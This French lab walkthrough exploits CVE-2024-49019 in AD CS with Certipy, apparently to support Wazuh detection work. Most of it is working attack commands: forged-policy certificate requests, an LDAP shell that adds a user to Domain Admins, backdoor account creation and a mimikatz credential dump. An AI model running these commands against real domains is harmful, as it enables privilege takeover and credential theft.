
Exploitation pour CVE-2024-49019
CVE-2024-49019 est une vulnérabilité dans les services de certificats Active Directory (AD CS) qui permet à un attaquant d'élever ses privilèges en abusant de l'authentification par certificat. Ce guide montre comment exploiter cette vulnérabilité à l'aide de Certipy.
| Machine virtuelle | Nom d'utilisateur | Mot de passe |
|---|---|---|
| Windows Server 2022 | Administrator | !@windowsadmintest101 |
| Windows Server 2022 | testuser | $Vulnerable139 |
| Kali-VM | vagrant | vagrant |
| Ubuntu-Wazuh | wazuh | admin |
La VM Ubuntu-Wazuh est utilisée à des fins de détection. Guide de détection Atténuation
Tout d'abord, clonez le dépôt contenant les fichiers nécessaires :
git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng
Vous devez installer Vagrant sur votre machine hôte avant de continuer.
Téléchargez et installez Vagrant à partir de ici, ou installez-le via PowerShell :
choco install vagrant
sudo apt update && sudo apt install vagrant -y
cd windows-server2022
vagrant up
cd kali-VM
vagrant up
cd WazuhUbuntu
vagrant up
Étant donné que l'exploit nécessite un réseau NAT, configurez VirtualBox comme suit :
Avant d'exécuter la commande ci-dessous, assurez-vous que VBoxManage est ajouté à vos variables d'environnement. Sinon, exécutez la commande en utilisant son chemin complet :
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Si VBoxManage n'est pas reconnu, utilisez :
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Assurez-vous de vérifier toutes les VM dans VirtualBox et de vous assurer qu'elles sont affectées à l'adaptateur réseau NatNetwork - NatNet1. Vous pouvez créer un réseau NAT avec un nom différent, mais il doit être dans la plage IP 10.0.2.0/24.
Avant de continuer, assurez-vous que toutes les VM sont allumées.
Accédez à la VM Kali Linux pour lancer l'attaque et mettez à jour votre fichier /etc/hosts :
sudo nano /etc/hosts
Ajoutez l'entrée suivante :
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Enregistrez et quittez.
Naviguez vers le répertoire CVE-49019 et activez l'environnement virtuel Python :
cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate
Il existe deux façons d'exploiter cette vulnérabilité : ESC1 et ESC3.
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
add_user badadmin
add_user_to_group badadmin "Domain Admins"
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121
certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121
certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121
Il existe une solution de contournement : assurez-vous que votre machine hôte a la même heure que le serveur Windows lui-même. Assurez-vous d'exécuter cette commande pour mettre à jour la VM Kali-Linux afin qu'elle soit synchronisée avec le serveur Windows.
sudo timedatectl set-ntp off
sudo rdate -n 10.0.2.121
w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
Une fois l'accès au niveau administrateur obtenu, l'attaquant peut :
net user hacked /add
net localgroup "Administrators" hacked /add
sekurlsa::logonpasswords
Pour les stratégies de détection et d'atténuation, reportez-vous au guide de détection.
CVE-2024-49019 présente un risque de sécurité important en raison de sa capacité à permettre une élévation de privilèges non autorisée. Comprendre cette vulnérabilité et déployer des mécanismes de détection appropriés, comme l'utilisation de Wazuh, est essentiel pour sécuriser les environnements Active Directory.
Pour plus d'informations sur la sécurisation d'AD CS, consultez Microsoft Security CVE-2024-49019.